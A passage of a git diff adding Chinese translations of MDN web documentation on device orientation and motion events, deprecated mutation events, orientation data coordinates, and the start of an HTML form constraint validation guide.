0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 209px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 228px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 247px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 266px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 285px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 304px; background: 0px 0px;"></div> + +<p><span style="line-height: 1.5;">现在,如果我们移动设备,球将随之移动:</span></p> + +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> ball <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.ball'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> +<span class="keyword token" style="color: #0077aa;">var</span> garden <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.garden'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> +<span class="keyword token" style="color: #0077aa;">var</span> output <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.output'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> + +<span class="keyword token" style="color: #0077aa;">var</span> maxX <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> garden<span class="punctuation token" style="color: #999999;">.</span>clientWidth <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> ball<span class="punctuation token" style="color: #999999;">.</span>clientWidth<span class="punctuation token" style="color: #999999;">;</span> +<span class="keyword token" style="color: #0077aa;">var</span> maxY <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> garden<span class="punctuation token" style="color: #999999;">.</span>clientHeight <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> ball<span class="punctuation token" style="color: #999999;">.</span>clientHeight<span class="punctuation token" style="color: #999999;">;</span> + +<span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">handleOrientation<span class="punctuation token" style="color: #999999;">(</span></span>event<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> + <span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> event<span class="punctuation token" style="color: #999999;">.</span>beta<span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // In degree in the range [-180,180] +</span> <span class="keyword token" style="color: #0077aa;">var</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> event<span class="punctuation token" style="color: #999999;">.</span>gamma<span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // In degree in the range [-90,90] +</span> + output<span class="punctuation token" style="color: #999999;">.</span>innerHTML <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"beta : "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"\n"</span><span class="punctuation token" style="color: #999999;">;</span> + output<span class="punctuation token" style="color: #999999;">.</span>innerHTML <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"gamma: "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"\n"</span><span class="punctuation token" style="color: #999999;">;</span> + + <span class="comment token" style="color: #708090;"> // Because we don't want to have the device upside down +</span> <span class="comment token" style="color: #708090;"> // We constrain the x value to the range [-90,90] +</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">></span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span> + <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span><span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span><span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span> + + <span class="comment token" style="color: #708090;"> // To make computation easier we shift the range of +</span> <span class="comment token" style="color: #708090;"> // x and y to [0,180] +</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">;</span> + y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">;</span> + + <span class="comment token" style="color: #708090;"> // 10 is half the size of the ball +</span> <span class="comment token" style="color: #708090;"> // It center the positioning point to the center of the ball +</span> ball<span class="punctuation token" style="color: #999999;">.</span>style<span class="punctuation token" style="color: #999999;">.</span>top <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">(</span>maxX<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">/</span><span class="number token" style="color: #990055;">180</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"px"</span><span class="punctuation token" style="color: #999999;">;</span> + ball<span class="punctuation token" style="color: #999999;">.</span>style<span class="punctuation token" style="color: #999999;">.</span>left <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">(</span>maxY<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span>y<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">/</span><span class="number token" style="color: #990055;">180</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"px"</span><span class="punctuation token" style="color: #999999;">;</span> +<span class="punctuation token" style="color: #999999;">}</span> + +window<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">addEventListener<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'deviceorientation'</span><span class="punctuation token" style="color: #999999;">,</span> handleOrientation<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 57px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 76px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 95px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 114px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 133px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 152px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 171px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 190px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 209px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 228px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 247px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 266px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 285px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 304px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 323px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 342px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 361px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 380px; background: 0px 0px;"> +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 399px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 418px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 437px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 456px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 475px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 494px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 513px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 551px; background: 0px 0px;"></div> +</div> + +<p>输出结果:</p> + +<p>在{{LiveSampleLink("Orientation_example", "这里")}}以新窗口打开此示例;因为有些浏览器中的 {{event("deviceorientation")}} 事件不支持跨域。</p> + +<div>{{EmbedLiveSample('Orientation_example', '230', '260')}}</div> + +<div class="warning" style="font-size: 14px;"> +<p><strong>警告:</strong> Chrome 和 Firefox 处理角度的机制不同,所以某些轴上的方向是相反的。</p> +</div> + +<h2 id="处理移动(motion)事件" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">处理移动(motion)事件</h2> + +<p><span style="line-height: 1.5;">移动事件的处理跟方向事件是一样的,除了他们有自己的事件名:{{ event("devicemotion") }}</span></p> + +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;">window<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">addEventListener<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"devicemotion"</span><span class="punctuation token" style="color: #999999;">,</span> handleMotion<span class="punctuation token" style="color: #999999;">,</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> + +<p><span style="line-height: 1.5;">真正不同的是做为参数传递给</span><em>HandleMotion函数的</em><span style="line-height: 1.5;">{{ domxref("DeviceMotionEvent") }}对象所包含的信息。</span></p> + +<p>这个对象包含四个属性:</p> + +<ul> + <li>{{ domxref("DeviceMotionEvent.acceleration") }}</li> + <li>{{ domxref("DeviceMotionEvent.accelerationIncludingGravity") }}</li> + <li>{{ domxref("DeviceMotionEvent.rotationRate") }}</li> + <li>{{ domxref("DeviceMotionEvent.interval") }}</li> +</ul> + +<h3 id="相关值解释_2" style="line-height: 24px; font-size: 1.71428571428571rem;">相关值解释</h3> + +<p><span style="line-height: 1.5;">{{ domxref("DeviceMotionEvent") }}对象提供给web开发者设备在位置和方向上的改变速度的相关信息。这些变化信息是通过三个轴来体现的。(</span><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" style="line-height: 1.5;" title="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained">Orientation and motion data explained</a><span style="line-height: 1.5;">有更详细的说明。)</span></p> + +<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.acceleration" title="The acceleration property returns the amount of acceleration recorded by the device, in meters per second squared (m/s2)."><code>acceleration</code></a> 和 <a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.accelerationIncludingGravity" title="The accelerationIncludingGravity property returns the amount of acceleration recorded by the device, in meters per second squared (m/s2). Unlike DeviceMotionEvent.acceleration which does not compensate for the influence of gravity, its value is the sum of the acceleration of the device as induced by the user and the acceleration caused by gravity."><code>accelerationIncludingGravity</code></a>,都包含下面三个轴:</p> + +<ul> + <li><code>x</code>: 西向东</li> + <li><code>y</code>: 南向北</li> + <li><code>z</code>: 垂直地面</li> +</ul> + +<p>对于 <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.rotationRate" title="Returns the rate at which the device is rotating around each of its axes in degrees per second.">rotationRate</a></code> ,情况有点不同;三个轴的信息对应着以下三种情况:</p> + +<ul> + <li><code>alpha</code>: 设备沿着垂直于屏幕(对于桌面设备则是垂直于键盘)的轴的旋转速率</li> + <li><code>beta</code>: 设备沿着屏幕(对于桌面设备则是键盘)左至右方向的轴的旋转速率(桌面设备相对于键盘)</li> + <li><code>gamma</code>: 设备沿着屏幕(对于桌面设备则是键盘)下至上方向的轴的旋转速率</li> +</ul> + +<p>最后,<a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.interval" style="line-height: 1.5;" title="Returns the interval, in milliseconds, at which data is obtained from the underlaying hardware. You can use this to determine the granularity of motion events."><code>interval</code></a><span style="line-height: 1.5;"> 表示的是从设备获取数据的间隔时间,单位是毫秒。</span></p> + +<h2 id="规范" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Device Orientation')}}</td> + <td>{{Spec2('Device Orientation')}}</td> + <td>Initial specification.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">浏览器兼容性</h2> + +<h3 id="DeviceMotionEvent"><code>DeviceMotionEvent</code></h3> + +<p>{{Compat("api.DeviceMotionEvent")}}</p> + +<h3 id="DeviceOrientationEvent"><code>DeviceOrientationEvent</code></h3> + +<p>{{Compat("api.DeviceOrientationEvent")}}</p> + +<h2 id="参见" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">参见</h2> + +<ul> + <li>{{domxref("DeviceOrientationEvent")}}</li> + <li>{{domxref("DeviceMotionEvent")}}</li> + <li>The legacy <code><a href="https://developer.mozilla.org/en-US/DOM/MozOrientation" title="en-US/DOM/MozOrientation">MozOrientation</a></code> event.</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">Using deviceorientation in 3D Transforms</a></li> +</ul> diff --git a/files/zh-cn/web/events/mutation_events/index.html b/files/zh-cn/web/events/mutation_events/index.html new file mode 100644 index 0000000000..732cb7614b --- /dev/null +++ b/files/zh-cn/web/events/mutation_events/index.html @@ -0,0 +1,63 @@ +--- +title: Mutation events +slug: orphaned/Web/Guide/Events/Mutation_events +translation_of: Web/Guide/Events/Mutation_events +original_slug: Web/Guide/Events/Mutation_events +--- +<p>{{deprecated_header()}}</p> + +<p><strong>Mutation 事件 </strong>为web页面提供一种机制或扩展,以便在DOM被改变时获得通知。<span style="background-color: #ffff00;">如果可能请用<a href="/en-US/docs/Web/API/MutationObserver" title="/en-US/docs/Web/API/MutationObserver">Mutation Observers</a>代替。</span></p> + +<h2 id="前言">前言</h2> + +<p id="Replacement.3A_mutation_observers">这个 mutation 事件在<a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-mutationevents">DOM Events 标准</a> 中已被列为反对使用 , 因为在API的设计中有缺陷 (详情见发表于 <span id="to"><a class="external" href="http://lists.w3.org/Archives/Public/public-webapps/2011JulSep/0779.html">public-webapps</a> 的</span>"DOM Mutation Events Replacement: The Story So Far / Existing Points of Consensus" <span id="to">)</span>. </p> + +<p><a href="/en-US/docs/Web/API/MutationObserver">Mutation Observers</a> 在DOM4中被提议用来取代mutation事件. 预计它们被列入 in Firefox 14 and <a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" title="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers">Chrome 18</a>中。</p> + +<p>避免用mutation事件的实际原因是<strong>性能问题</strong>和<strong>跨浏览器支持</strong>。</p> + +<h3 id="性能">性能</h3> + +<p>为DOM添加 mutation 监听器极度降低进一步修改DOM文档的性能(慢1.5 - 7倍),此外, 移除监听器不会逆转的损害。</p> + +<p>性能好坏 <a class="link-https" href="https://groups.google.com/forum/#!topic/mozilla.dev.platform/UH2VqFQRTDA" title="https://groups.google.com/forum/#!topic/mozilla.dev.platform/UH2VqFQRTDA">限制了文档拥有mutation事件监听</a>.</p> + +<h3 id="跨浏览器支持">跨浏览器支持</h3> + +<p>这些事件在不同的浏览器实现并不一致, 例如:</p> + +<ul> + <li>IE9之前的版本不支持mutation 事件而且在IE9版本中没有正确实现其中某些事件(<a class="external" href="http://help.dottoro.com/ljmcxjla.php" title="http://help.dottoro.com/ljmcxjla.php">例如, DOMNodeInserted</a>)</li> + <li>WebKit 不支持 DOMAttrModified (见 <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=8191" title="https://bugs.webkit.org/show_bug.cgi?id=8191">webkit bug 8191</a> 和 <a class="external" href="http://about.silkapp.com/page/Mutation%20Events:%20What%20Happen" title="http://about.silkapp.com/page/Mutation%20Events:%20What%20Happen">the workaround</a>)</li> + <li>"mutation name events", i.e. DOMElementNameChanged 和 DOMAttributeNameChanged 在Firefox中不被支持 (到 version 11), 可能其他浏览器也是这样.</li> + <li>...</li> +</ul> + +<p>Dottoro <a class="external" href="http://help.dottoro.com/ljfvvdnm.php#additionalEvents" title="http://help.dottoro.com/ljfvvdnm.php#additionalEvents">documents browser support for mutation events</a>.</p> + +<h2 id="Mutation_事件列表">Mutation 事件列表</h2> + +<p>下面是所有 mutation 事件列表, <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-mutationevents" title="http://www.w3.org/TR/DOM-Level-3-Events/#events-mutationevents">DOM Level 3 Events specification</a> 中定义的:</p> + +<ul> + <li><code>DOMAttrModified</code></li> + <li><code>DOMAttributeNameChanged</code></li> + <li><code>DOMCharacterDataModified</code></li> + <li><code>DOMElementNameChanged</code></li> + <li><code>DOMNodeInserted</code></li> + <li><code>DOMNodeInsertedIntoDocument</code></li> + <li><code>DOMNodeRemoved</code></li> + <li><code>DOMNodeRemovedFromDocument</code></li> + <li><code>DOMSubtreeModified</code></li> +</ul> + +<h2 id="使用">使用</h2> + +<p>你可以如下所示使用<a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">element.addEventListener</a> 注册一个mutation 事件监听器:</p> + +<pre><code>element.addEventListener("DOMNodeInserted", function (ev) {</code> + // ... +<code>}, false);</code> +</pre> + +<p>事件对象在 {{ domxref("MutationEvent") }}传递给监听器 (见 <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-MutationEvent" title="http://www.w3.org/TR/DOM-Level-3-Events/#events-MutationEvent">its definition in the specification</a>) 对于大多数的事件, 和 {{ domxref("MutationNameEvent") }} 用于 <code>DOMAttributeNameChanged</code> and <code>DOMElementNameChanged</code>.</p> diff --git a/files/zh-cn/web/events/orientation_and_motion_data_explained/index.html b/files/zh-cn/web/events/orientation_and_motion_data_explained/index.html new file mode 100644 index 0000000000..97e52cd168 --- /dev/null +++ b/files/zh-cn/web/events/orientation_and_motion_data_explained/index.html @@ -0,0 +1,52 @@ +--- +title: Orientation 和 motion 数据解释 +slug: Web/Events/Orientation_and_motion_data_explained +translation_of: Web/Events/Orientation_and_motion_data_explained +tags: + - Intermediate + - Mobile + - Motion + - NeedsContent + - Orientation + - páginas_a_traducir + - rotation +--- +<p>{{ Draft() }}</p> +<h2 id="总言" style="line-height: 30px; font-size: 2.14285714285714rem;">总言</h2> +<p>当我们要使用orientation和motion事件时,理解浏览器给我们的相关值是什么意思就显的相当重要了。这篇文章会详细介绍在用的坐标系统并会教你如何全用它们。</p> +<div class="warning" style="font-size: 14px;"> + <p><strong>警告:</strong> 目前, Firefox 和 Chrome 处理坐标的方式不同。 在使用它们的时候要多加注意.</p> +</div> +<h2 id="坐标系" style="line-height: 30px; font-size: 2.14285714285714rem;">坐标系</h2> +<p>坐标系是一种描述物体位置的系统,它包含三个轴(X,Y,Z),三个轴共同描述了物体相对于参照物的位置信息。当我们使用orientation和motion事件时会接触到两种坐标系统。</p> +<h3 id="地球坐标系" style="line-height: 24px; font-size: 1.71428571428571rem;">地球坐标系</h3> +<p>地球坐标系是相对于地心的,也就是说,它的轴是基于重力方向和磁场北方向。我们使用大写的X,Y,Z来描述地球坐标系的轴。</p> +<ul> + <li>X轴沿着地平面,垂直于Y轴,向东为正,向西为负。</li> + <li>Y轴沿着地平面,向北(北极,不是磁场北)为正,向南为负。</li> + <li>Z轴垂直于地平面,想象成一条线连接着设备跟地心。背对地心的方向为正,指向地心的方向为负。</li> +</ul> +<h3 id="设备坐标系" style="line-height: 24px; font-size: 1.71428571428571rem;">设备坐标系</h3> +<p>设备坐标系是相对于设备中心的。我们使用小写的x,y,z来描述它的轴。</p> +<p>,<img alt="axes.png" class="internal default" src="/@api/deki/files/5694/=axes.png"></p> +<ul> + <li>x轴沿着屏幕表面,向右为正,向左为负。</li> + <li>y轴沿着屏幕表面,向上为正,向下为负。</li> + <li>z轴垂直屏幕表面或键盘,远离屏幕的方向为正。</li> +</ul> +<div class="note"> + <span style="line-height: 1.5;">注意:对于手机或平台而言,这里的设备方向总是相对于屏幕的标准方向,大部分是“竖屏”方向。而对于笔记本电脑来说,设备方向是相对于键盘的。如果你想检测设备方向变化来进行补偿调整,你可以使用</span><span style="line-height: 1.5; font-family: 'Courier New', 'Andale Mono', monospace;">orientationchange事件。</span></div> +<h2 id="旋转(Rotation)" style="line-height: 30px; font-size: 2.14285714285714rem;">旋转(Rotation)</h2> +<p>旋转描述的是设备在设备坐标系跟地球坐标系中任意轴上的差异值,用角度表示。</p> +<h3 id="Alpha" style="line-height: 24px; font-size: 1.71428571428571rem;">Alpha</h3> +<p>围绕z轴旋转设备将使alpha角度值发生变化:</p> +<p><img alt="alpha.png" class="internal default" src="/@api/deki/files/5695/=alpha.png"></p> +<p><span style="line-height: 1.5;">alpha为</span><span style="line-height: 1.5;">0°时表示设备的顶部正指北极方向,当设备向左旋转时,alpha将增加。</span></p> +<h3 id="Beta" style="line-height: 24px; font-size: 1.71428571428571rem;">Beta</h3> +<p>围绕x轴旋转,也就是前后旋转,将使beta值发生改变:</p> +<p><img alt="beta.png" class="internal default" src="/@api/deki/files/5696/=beta.png"></p> +<p><span style="line-height: 1.5;">当beta为0° 时表示设备顶部和底部与地表面的距离是一样的,当设备向前翻转时,beta递增到</span><span style="line-height: 1.5;">180°,向后翻转递减到-180°。</span></p> +<h3 id="Gamma" style="line-height: 24px; font-size: 1.71428571428571rem;">Gamma</h3> +<p><span style="line-height: 1.5;">当围绕y轴旋转,也就是左右倾斜设备时,将使gamma值发生改变:</span></p> +<p><img alt="gamma.png" class="internal default" src="/@api/deki/files/5697/=gamma.png"></p> +<p><span style="line-height: 1.5;">gamma等于0°表示设备左右两边与地表面的距离相等,当设备向右翻转时,gamma递增到</span><span style="line-height: 1.5;">90° ,向左翻转时,递减到-90°。</span></p> diff --git a/files/zh-cn/web/guide/html/constraint_validation/index.html b/files/zh-cn/web/guide/html/constraint_validation/index.html new file mode 100644 index 0000000000..e9980168c7 --- /dev/null +++ b/files/zh-cn/web/guide/html/constraint_validation/index.html @@ -0,0 +1,345 @@ +--- +title: 约束验证 +slug: Web/Guide/HTML/Constraint_validation +translation_of: Web/Guide/HTML/Constraint_validation +tags: + - CSS + - Guide + - HTML5 + - NeedsContent + - Selectors +--- +<p>创建web表单始终是一个复杂的任务. 仅仅组装表单是容易的,但是检查每一个字段的值是否有效并且一致是一件更加困难的事情,而向用户指明错误可能会令人头痛。<a href="/en-US/docs/Web/Guide/HTML/HTML5" title="en/HTML/HTML5">HTML5</a> 引入了表单相关的一些新的机制:为{{ HTMLElement("input") }}元素和强制校验增加了一些新的语义类型,使得在客户端检查表单内容的工作变得容易。基本上,在填写字段时,通常这些约束都会被检查,而不需要额外的JavaScript代码进行校验; 对于更复杂的约束条件的校验可以尝试使用 HTML5 <a href="/en-US/docs/Web/Guide/HTML/Forms_in_HTML#Constraint_Validation_API" title="en/HTML/HTML5/Forms in HTML5#Constraint Validation API">Constraint Validation API</a>.</p> + +<div class="note"><strong>Note:</strong> HTML5 Constraint validation doesn't remove the need for validation on the <em>server side</em>. Even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without HTML5 and without JavaScript) or by bad guys trying to trick your web application. Therefore, like with HTML4, you need to also validate input constraints on the server side, in a way that is consistent with what is done on the client side.</div> + +<h2 id="固有和基本的约束">固有和基本的约束</h2> + +<p>在 HTML5中,声明基本的约束有两种方式:</p> + +<ul> + <li>给 {{ HTMLElement("input") }} 元素的 {{ htmlattrxref("type", "input") }} 特性选择最合适的语义化的值,比如,选择 email 类型将会自动创建一个约束用于检查输入的值是否是一个有效的 e-mail 地址。</li> + <li>设置验证相关的特性值,允许用一种简单的方式来描述基本的约束,而不必要使用 JavaScript。</li> +</ul> + +<h3 id="语义的_input_类型">语义的 input 类型</h3> + +<p> {{ htmlattrxref("type", "input") }} 特性中固有约束:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Input 类型</th> + <th scope="col">约束描述</th> + <th scope="col">Associated violation</th> + </tr> + </thead> + <tbody> + <tr> + <td><span style="font-family: courier new;"><input type="URL"></span></td> + <td>值必须是绝对的URL, 即,是下面的某一种: + 